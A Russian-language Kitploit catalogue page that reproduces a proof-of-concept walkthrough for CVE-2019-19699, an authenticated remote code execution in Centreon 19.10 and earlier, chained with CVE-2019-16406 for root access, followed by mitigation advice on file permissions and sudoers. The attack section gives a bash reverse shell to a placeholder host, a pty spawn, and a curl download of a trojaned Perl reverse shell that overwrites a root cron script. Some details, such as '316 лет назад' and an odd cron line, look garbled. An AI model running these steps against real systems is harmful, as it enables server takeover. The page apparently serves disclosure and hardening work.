Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-19699 — Centreon =<19.10 Аутентифицированное RCE | Kitploit
Инструменты/GitHubGitHub/spengesec/cve-2019-19699
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 Аутентифицированное RCE

Репозиторий
316 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-19699

Centreon =< 19.10

Доказательство концепции

  1. Аутентифицированное удаленное выполнение кода (CVE-2019-19699)
  2. Повышение привилегий (Пошаговое руководство и смягчение)

Обнаружено:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Аутентифицированное удаленное выполнение кода:

Начнем с входа в веб-панель Centreon под пользователем Admin.

После входа переходим в Configuration > Commands > Miscellaneous

Нажимаем Add, как показано на изображении ниже.

Теперь создаем bash reverse shell в качестве нашей команды Miscellaneous

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

И нажимаем Save

Теперь переходим в Configuration > Pollers и нажимаем на наш текущий Central poller

Это дает нам доступ к меню Modify a poller Configuration

Здесь мы можем прокрутить вниз и установить Post-restart command

Выбираем созданный ранее reverse shell и нажимаем кнопку Save

Теперь можем запустить Netcat слушатель на нашей локальной машине

Наконец, нажимаем кнопку Export configuration в меню Configuration > Pollers

  1. Выбираем наш Central poller в выпадающем списке Pollers

  2. Снимаем флажки Generate Configuration Files и Run monitoring engine debug (-v)

  3. Устанавливаем флажки Restart Monitoring Engine и Post generation command

  4. Выбираем Restart в выпадающем списке Method

После нажатия Export Poller перезапустится и выполнит Post-Restart Command, который мы настроили ранее. В этот момент наш слушатель reverse shell получит соединение.

Аутентифицированное удаленное выполнение кода выполнено успешно!

(Это было описание для CVE-2019-19699)

Отсюда мы переходим к получению Root

Используем CVE-2019-16406, найденную TheCyberGeek, чтобы полностью скомпрометировать сервер Centreon =< 19.10

Начнем с запуска TTY shell в нашем текущем терминале reverse shell

python -c 'import pty; pty.spawn("/bin/sh")'

Теперь посмотрим, какие задачи cron существуют, выполнив cat /etc/cron.d/*

Мы видим, что centreon_autodisc.pl является задачей cron

(Было установлено с 30 22 * * * root на * * * * * root для демонстрационных целей)

Эта задача выполняется от имени Root, давайте заменим файл centreon_autodisco.pl на Perl reverse shell

Perl shell, который я буду использовать, можно загрузить здесь

Загрузите reverse shell и отредактируйте ip address и port на свои, как объяснено на веб-странице

Выполните mv, чтобы переименовать локальный файл perl-reverse-shell.pl в centreon_autodisco.pl

Давайте запустим локальный SimpleHTTPServer на порту по вашему выбору

Таким образом, мы можем выполнить curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl чтобы заменить существующий centreon_autodisco.pl на наш троянский Perl reverse shell

Теперь файл заменен. Осталось только запустить Netcat listener на порту, который мы настроили ранее, и мы получим соединение от сервера под пользователем Root!

Доступ к системе как Root получен успешно!

Теперь перейдем к примечаниям о том, как, по нашему мнению, следует смягчить повышение привилегий!

Текущие настройки в 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Смягчение для /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Как видите, теперь он принадлежит Root, группа apache может только читать и выполнять его, centreon может только выполнять его, поэтому это не влияет на функциональность.

Пример:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Но apache все еще может выполнять его.

Смягчение для /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Как видите, теперь он принадлежит Root, группа apache может только читать и выполнять его, centreon может только выполнять его, поэтому это не влияет на функциональность.

Пример:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Но apache все еще может выполнять его.

Смягчение для /usr/lib/centreon/plugins/cwrapper_perl

Используйте команды sudo, определяющие конкретные скрипты, которые должны выполняться каждым пользователем.

Сделайте root владельцем каждого perl-скрипта, чтобы пользователи не могли изменить или заменить скрипт для повышения привилегий.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

Теперь пользователи больше не могут изменять или заменять скрипт!

Пример:

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---End of Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Пользователи по-прежнему могут выполнять необходимые скрипты, но скрипты не могут быть изменены apache или centreon, что полностью устраняет угрозу безопасности для повышения привилегий.

Если злоумышленнику удастся проникнуть в машину сейчас, получить полный контроль над ней будет очень сложно или невозможно, если не будут обнаружены другие угрозы.

Для пользователя Centreon единственное повышение привилегий, которое мы смогли найти, — это cwrapper для perl, так что если бы post-restart выполнялся от имени пользователя centreon и злоумышленник получил оболочку от имени пользователя centreon, это практически не оставило бы поверхности для атаки.

Спасибо за чтение

Скачать инструмент